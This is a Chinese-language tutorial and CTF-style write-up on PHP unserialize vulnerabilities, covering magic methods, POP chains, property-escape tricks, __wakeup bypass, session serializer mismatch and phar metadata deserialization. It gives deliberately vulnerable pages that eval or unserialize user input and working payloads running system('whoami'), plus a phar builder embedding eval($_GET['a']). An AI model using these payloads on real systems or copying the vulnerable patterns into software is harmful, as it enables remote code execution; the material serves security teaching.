php反序列化[怀念文]

.

前言

对常见类型进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class MyClass {
public $prop1;
protected $prop2;
private $prop3;

public function __construct($val1, $val2, $val3) {
$this->prop1 = $val1;
$this->prop2 = $val2;
$this->prop3 = $val3;
}
}

// 对各个变量类型进行序列化
$var1 = null;
$var2 = 123;
$var3 = 3.14;
$var4 = true;
$var5 = 'hello, world!';
$var6 = new MyClass('foo', 'bar', 'baz');
$var7 = ["haha","batman","future"];


$serialized1 = serialize($var1);
$serialized2 = serialize($var2);
$serialized3 = serialize($var3);
$serialized4 = serialize($var4);
$serialized5 = serialize($var5);
$serialized6 = serialize($var6);
$serialized7 = serialize($var7);

// 输出序列化结果
echo "Serialized null: $serialized1<br>";
echo "Serialized integer: $serialized2<br>";
echo "Serialized float: $serialized3<br>";
echo "Serialized boolean: $serialized4<br>";
echo "Serialized string: $serialized5<br>";
echo "Serialized object: $serialized6<br>";
echo "Serialized object: $serialized7<br>";
?>
1
2
3
4
5
6
7
Serialized null: N;
Serialized integer: i:123;
Serialized float: d:3.1400000000000001;
Serialized boolean: b:1;
Serialized string: s:13:"hello, world!";
Serialized object: O:7:"MyClass":3:{s:5:"prop1";s:3:"foo";s:8:"*prop2";s:3:"bar";s:14:"MyClassprop3";s:3:"baz";}
Serialized object: a:3:{i:0;s:4:"haha";i:1;s:6:"batman";i:2;s:6:"future";}

这里说一下对象的反序列化-只会携带成员属性

1
O:7:"MyClass":3:{s:5:"prop1";s:3:"foo";s:8:"*prop2";s:3:"bar";s:14:"MyClassprop3";s:3:"baz";}
1
{s:5:"prop1";s:3:"foo";s:8:"*prop2";s:3:"bar";s:14:"MyClassprop3";s:3:"baz";}

这里成员属性有public,protected,private的区别

1
2
3
4
5
6
7
8
9
public $prop1;		//	s:5:"prop1";s:3:"foo";  		public就是直接返回

protected $prop2; // s:8:"*prop2";s:3:"bar"; protected前面携带了一个*,组成是;
%00 * %00
1 + 1 + 1 + 5 = 8

private $prop3; // s:14:"MyClassprop3";s:3:"baz"; private前面是类名.数量是在类名前面加上了二进制的00,url编码后就是%00
%00 类名 %00
1 + 7 + 1 + 5 = 14

基础例题

例如一道简单的反序列化题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);

class test{
public $a = "hahahaha";
public function displayVar(){
eval($this->a);
}

}

$c = new test();
$c->displayVar();

$get = $_GET["haha"];
$b = unserialize($get);
$b->displayVar();

?>

这里的思路就是我们利用haha传入反序列化的一个类,类中的成员属性a的值是eval执行的,所以我们以此a = “whoami”,执行下whoami,那么我们实现编写序列化脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a = "system('whoami');";
public function displayVar(){
eval($this->a);
}

}
$a = new test();
$b = serialize($a);
echo $b;
?>
// O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}

imaged33c1eda219fae3a.png

魔术方法 + 例题

image18992f0dba04ee6d.png

魔术方法在webshell免杀领域很好

1)__ construct() 和 __ destruct()

在实例化对象和销毁对象时触发

2)__ sleep() 和 __ wakeup()

如果在serialize之后检测类中是否存在__ sleep()魔术方法,如果存在,那么该方法会先被调用,然后执行序列化操作

__ wakeup()则相反,是在unserialize的时候会触发

绕过:当

1
2
$data = 'O:7:"MyClass":3:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}';
这里的3指的是有3个成员属性,如果这里大于3,那么wakeup魔术方法就不会执行

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
public $prop1;
protected $prop2;
private $prop3;

public function __construct() {
$this->prop1 = '';
$this->prop2 = '';
$this->prop3 = '';
}

public function __wakeup() {
echo "对象正在被反序列化...\n";
$this->prop1 = 'foo';
$this->prop2 = 'bar';
$this->prop3 = 'baz';
}
}
$data = $_GET['batman'];
$obj = unserialize($data);

echo $obj->prop1, "\n"; // 输出:foo
echo $obj->prop2, "\n"; // 输出:bar
echo $obj->prop3, "\n"; // 输出:baz
?>

当为

1
O:7:"MyClass":3:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}
1
http://localhost/webshell.php?batman=O:7:"MyClass":3:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}

wakeup被执行

image20aa3b7c9f6a00d6.png

当为

1
O:7:"MyClass":4:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}
1
http://localhost/webshell.php?batman=O:7:"MyClass":4:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}

wakeup不被执行

image36f97722faea8a81.png

2)__ toString() 和 __ invoke()

当类被当成字符串时触发__ toString,当把对象当成函数调用就会触发__ invoke魔术方法

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $prop1;
private $prop2;

public function __construct($val1, $val2) {
$this->prop1 = $val1;
$this->prop2 = $val2;
}

public function __toString() {
return 'MyClass { prop1: ' . $this->prop1 . ', prop2: ' . $this->prop2 . ' }';
}
}

$obj = new MyClass('foo', 'bar');
echo $obj; // 输出:MyClass { prop1: foo, prop2: bar }
?>

image22fc93626b0c094a.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyFunction {
public function __invoke($arg1, $arg2) {
return $arg1 + $arg2;
}
}

$func = new MyFunction();
echo $func(2, 3); // 输出:5

?>

imageb431f83147c1d2b8.png

.

4)__ callStatic()

静态调用或调用成员常量时使用的方法y不存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);

class User {
public static function __callStatic($name, $arguments) {
echo "调用了静态方法 $name,参数为:" . implode(', ', $arguments);
}
}

$test = new User();
$test::callxxx('a');

?>

5)__ call()

调用一个不存在的方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
public function __call($name, $arguments) {
echo "调用了方法 $name,参数为:" . implode(', ', $arguments);
}
}
$obj = new MyClass();
$obj->foo('hello', 'world');
?>

6)__ get()

调用的成员属性不存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $data = [];

public function __get($name) {
if (isset($this->data[$name])) {
return $this->data[$name];
} else {
return null;
}
}
}

$obj = new MyClass();
$obj->foo = 'hello';
echo $obj->foo; // 输出:hello
echo $obj->bar; // 输出:null

?>

7)__ set()

给不存在的成员属性赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $data = [];

public function __set($name, $value) {
$this->data[$name] = $value;
}
}

$obj = new MyClass();
$obj->foo = 'hello';
echo $obj->foo; // 输出:hello
?>

这里因为__ set执行了所以没有输出foo,否则输出

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $data = [];
}

$obj = new MyClass();
$obj->foo = 'hello';
echo $obj->foo; // 输出:hello
?>

imagee81c7bd535ee6ec6.png

8)__ isset()

对不可访问的属性使用isset()或empty()时,__ isset()会被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $data = [];

public function __isset($name) {
echo "123";
}
}

$obj = new MyClass();
$obj->foo = 'hello';
isset($obj->foo); // 输出:bool(true)
isset($obj->bar); // 输出:bool(false)
?>

image0cf2df0dcbc244d3.png

9)__ unset()

对不可访问的属性使用unset()时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $var;

public function __unset($name) {
echo "123";
}
}

$obj = new MyClass();
unset($obj->var);
?>

image4f3429e1a2ff5da3.png

10)__ clone()

当使用clone关键字拷贝完成一个对象之后,新对象会自动调用定义的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

class MyClass {
private $var;

public function __clone()
{
echo "123";
}
}

$test = new MyClass();
$newclass = clone($test);
?>

imagebb3f4e18f1b0d6b7.png

pop链题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
error_reporting(0);

class index{
public $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal{
public function action(){
echo "hack me";
}
}
class evil{
var $test2;
public function action(){
eval($this->test2);
}
}
$b = unserialize($_GET['test']);


?>

pop解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class index{
public $test;
public function __construct(){
$this->test = new evil();
}
}

class evil{
var $test2 = 'system("whoami");';
}

$poc = new index();
echo serialize($poc);

?>
1
http://localhost/webshell.php?test=O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:17:"system("whoami");";}}

image24deff0c36e7ba72.png

invoke魔术方法例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);
error_reporting(0);

class Modifier{
public $var;
public function append($value){

include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}

if (isset($_GET['pop'])){
unserialize($_GET['pop']);
}

?>

这里我们先分析,如果想echo $flag,则必须需要调用append方法,并传入flag.php,而我们直接通过反序列化是无法直接调用某个具体的方法,需要借助这里的__ invoke魔术方法,$this->append($this->var)

而传入的参数就是$var,通过把对象当成函数去调用就会触发__ invoke魔术方法

image360c5326bcd18d3f.png

那么在哪里可以执行呢?如下,这里return执行的函数就是我们的变量$p,令其等于Modifier

image3bc0960b4aedd6e7.png

所以我们必须触发__ get魔术方法[调用不存在的成员属性]

imagefc20926c59bf9fd8.png

那么我们必须触发这个toString魔术方法[当类被当成字符串时触发__ toString]

所以我们这里就要想办法令source等于一个字符串”show”,然后触发wakeup魔术方法就会触发toString魔术方法

那么只要我们利用unserialize进行反序列化就会触发wakeup魔术方法

编写pop脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Modifier{
public $var = "webs2.php";

}

class Show{
public $source;
public $str;

}
class Test{
public $p;

}
//这里我们首先先实例化Modifier
$mod = new Modifier();
//实例化Test
$test = new Test();
//这里令p为Modifier的实例化对象mod
$test->p = $mod;
//实例化Show
$show = new Show();
//这里令source为Show的实例化对象show
$show->source = $show;
$show->str = $test;

echo serialize($show);

?>

流程分析:

1
2
3
4
5
6
7
1.当我们生成了反序列化的exp之后,执行unserialize之后,首先调用Show类下的__wakeup魔术方法,这里传值令str = Test,source = Show
2.这样我们在__wakeup魔术方法内echo输出时候将类被当成字符串时触发本类的__toString,在这里return执行return $this->str->source;调用了Test类下的一个不存在的成员属性就会触发__get魔术方法
3.在__get魔术方法中,执行了
$function = $this->p;
return $function();
那么我就令p为Modifier,这样在return执行Modifier()时,将这个类当成函数的方式调用就会触发__invoke魔术方法
4.在__invoke中,执行了$this->append($this->var);,传入的var就是我们包含的文件flag.php
1
http://localhost/webshell.php?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:9:"webs2.php";}}}

image7f09b9b0a5316c57.png

字符串的属性逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);

class A{
var $v1 = "a1";
var $v2 = "1231231231";
}
echo serialize(new A())."<br>";

$b = 'O:1:"A":3:{s:2:"v1";s:2:"a1";s:2:"v2";s:10:"1231231231";s:2:"v3";s:4:"flag";}';
var_dump(unserialize($b));
?>

这里在满足了反序列化之后的格式规范之后,增加了v3属性,var_dump之后如果原来的值没有则则正常输出

image4dde3904822716ff.png

;}是结束

如果你的功能正常(属性长度个数都正确),那么其他的不会改变,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);

class A{
var $v1 = "a1";
var $v2 = "1231231231";
}
echo serialize(new A())."<br>";

$b = 'O:1:"A":3:{s:2:"v1";s:2:"a1";s:2:"v2";s:10:"1231231231";s:2:"v3";s:4:";}ag";}dasdasda';
var_dump(unserialize($b));
?>

imagecda11c441452825d.png

imagebaace7a90360607c.png

那么属性逃逸就是一般指数据经过一次serialize之后再unserialize之后,在这个中间反序列化的字符串变多或者变少才有可能存在反序列化的属性逃逸

举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);

class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '1234567";s:2:"v3";N;}";}';
}

$data = serialize(new A());
echo "<br>";
var_dump(unserialize($data));
echo "<br>";
echo $data."<br>";

$data = str_replace("system()","",$data);
echo $data."<br>";

var_dump(unserialize($data));

image2231bc921e9f8b43.png

这里,是逃逸前,一共有两个属性

1
object(A)#1 (2) { ["v1"]=> string(27) "abcsystem()system()system()" ["v2"]=> string(24) "1234567";s:2:"v3";N;}";}" }

逃逸后,有三个属性

1
object(A)#1 (3) { ["v1"]=> string(27) "abc";s:2:"v2";s:24:"1234567" ["v2"]=> string(24) "1234567";s:2:"v3";N;}";}" ["v3"]=> NULL }

就是利用了将system()字符串去掉之后,要继续找27个字符,即

1
s:27:"abc";s:2:"v2";s:24:"1234567"

后面的字符串就变成下一个

1
s:2:"v3";N;}";}";

以上就是通过str_replace进行减少,当然也可以增加

增加例题

这个web.php中存在flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);

function filter($name){
$safe = array("flag","php");
$name = str_replace($safe,"hack",$name);
return $name;
}

class test{

var $user;
var $pass = 'daydream';
function __construct($user){
$this->user = $user;
}
}

$param = $_GET['param'];
$param = serialize(new test($param));
$profile = unserialize(filter($param));

if($profile->pass=="escaping"){
echo file_get_contents("web.php");
}
1
2
3
4
5
6
7
<?php
class test {
var $user;
var $pass = 'escaping';
}

echo serialize(new test());

这里我们的$profile是test类的一个对象,需要使它的属性pass等于escaping,这样就会输出包含的web.php得到flag

这里get传param的值会作为生成对象$param的test类的user属性,进行序列化之后再进行反序列化,经过了

filter过滤,这里我们如果想使得daydream等于escaping,就需要利用属性逃逸修改$pass为escaping

1
2
3
4
5
O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"escaping";}
s:4:"pass";s:8:"escaping";}逃逸部分,一共27个字符
s:4:"user";N;这个N是我们可控的,我们一共写27个php + "; 共29个字符

user = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);

function filter($name){
$safe = array("flag","php");
$name = str_replace($safe,"hack",$name);
return $name;
}

class test{

var $user;
var $pass = 'daydream';
function __construct($user){
$this->user = $user;
}
}

$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$param = serialize(new test($param));
$profile = unserialize(filter($param));

if($profile->pass=="escaping"){
echo file_get_contents("web.php");
}

imageba24cbc71b838ac1.png

减少例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);

function filter($name){
$safe = array("flag","php");
$name = str_replace($safe,"hk",$name);
return $name;
}

class test{

var $user;
var $pass;
var $vip = false;
function __construct($user, $pass){
$this->user = $user;
$this->pass = $pass;
}
}

$param = $_GET['user'];
$pass = $_GET['pass'];
$param = serialize(new test($param, $pass));
$profile = unserialize(filter($param));

if($profile->vip){
echo file_get_contents('web.php');
}
?>

我们这里看到我们get传入的user和pass作为test类的实例化对象的一部分,并不能直接修改vip属性为true,所以我们这里利用到属性减少逃逸

1
2
user = flagflagflagflagflagflagflagflagflagflag
pass = 1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);

function filter($name){
$safe = array("flag","php");
$name = str_replace($safe,"hk",$name);
return $name;
}

class test{

var $user;
var $pass;
var $vip = false;
function __construct($user, $pass){
$this->user = $user;
$this->pass = $pass;
}
}

$param = "flagflagflagflagflagflagflagflagflagflag";
$pass = '1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
$param = serialize(new test($param, $pass));
$profile = unserialize(filter($param));

if($profile->vip){
echo file_get_contents('web.php');
}
?>

这里我们执行完这两局赋值之后,传入这两个值,通过序列化后

imagea2743c5d0d918aba.png

image27377ecd2eda504e.png

执行完filter函数之后我们将字符串吞掉一部分,吞掉的那部分就是原来的vip = false的那部分序列化,这样我们传入的新序列化在反序列化的时候被执行,如图

imagee62fb55d356e6588.png

__ wakeup魔术方法绕过

在php<5.6.25 php>7.0.10时

当属性个数大于实际个数就会绕过__ wakeup魔术方法

引用

什么意思呢?就是说如果题目说明让两个内容相等,而且经过了严格的过滤,那么如下

1
2
var $enter = $secret;
var $secret = "flag";

这样就可以保证即使$secret被修改你也可以等于

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);

include("web.php");

class just4fun{
var $enter;
var $secret;
}

if(isset($_GET['pass'])){

$pass = $_GET["pass"];
$pass = str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if($o){
$o->secret = "*";
if($o->secret === $o->center){
echo "flag is : ".$flag;
}else{
echo "sorry";
}
}else{
echo "keep going";
}

这里我们是怕判断$o这个just4fun类的属性enter和secret最后是否相等,我们通过get方式传入了pass之后然后进行反序列化,得到了$o对象,那么构造解题脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
class just4fun{
var $secret;
var $enter;
}

$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
// O:8:"just4fun":2:{s:6:"secret";N;s:5:"enter";R:2;}
?>

image48080f87c627c786.png

这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);

<?php
class just4fun {
var $enter;
var $secret;
}
$pass = 'O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}';
$pass = str_replace('*','\*',$pass);

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

imageb2aa5c7ec12a931d.png

Session反序列化

当session_start()被调用或者php.ini中auto_start为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指令目录,默认是/tmp/

imageda23f6c209d5c758.png

1)方式一

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['man'] = $_GET['man'];
?>

2)方式二

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['batman'] = $_GET['batman'];
$_SESSION['bat'] = $_GET['bat'];
?>

2)方式三

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['batman'] = $_GET['batman'];
$_SESSION['bat'] = $_GET['bat'];
?>
例题

页面1

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

页面2

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

解题payload:

1
2
3
4
5
6
7
8
<?php
class D{
var $a = "system('whoami')";

}
echo serialize(new D());
// O:1:"D":1:{s:1:"a";s:16:"system('whoami')";}
?>

传入a = |O:1:"D":1:{s:1:"a";s:16:"system('whoami')";}之后,被进行php_serialize版的序列化,得到

s:45:"|O:1:"D":1:{s:1:"a";s:16:"system('whoami')";}";

再访问页面2执行

phar反序列化

1
jar是java桌面开发打包文件的一个格式,而phar是php版的jar,可以用php xxx.phar执行
1
文件包含:phar伪协议可读取.phar文件

image67162571d7210b4d.png

.

image55cf196de078d853.png

imageb25cef1041674498.png

imagea3de3caf04465b82.png

那么如何触发呢?

当我们调用phar伪协议,读取.phar文件时,phar协议在解析文件时,会自动触发对mainfest字段的序列化字符串进行反序列化

1
2
php > 5.2
在php.ini中将phar.readonly设置为off

image106f02c5cffe473d.png

1
http://localhost/webs2.php?filename=C:\Windows\win.ini

image747a4fdb00b95011.png

1)生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class Testobj {
var $output = "";
}

@unlink('test123.phar');
$phar = new Phar('test123.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new Testobj();
$o->output = 'eval($_GET["a"])';
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

2)例题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?
highlight_file(__FILE__);
error_reporting(0);

class Testobj
{
var $output = "echo 'ok'";
function __destruct(){
eval($this->output);
}
}

if(isset($_GET['filename'])){
$filename = $_GET['filename'];
var_dump(file_exists($filename));
}
1
filename=test123.phar&a=system("whoami")

简单来说就是如果你的php.ini中关闭了phar.readonly,即设置成Off,那么你就可以指定对应的phar文件(指定的函数有很多比如file_exists),指定之后可以再传递参数来实现phar内部的代码中的文件属性信息进行反序列化执行相关的命令


有些考题喜欢考,你上传一个phar文件,然后你指定这个phar文件,然后传入内容读取flag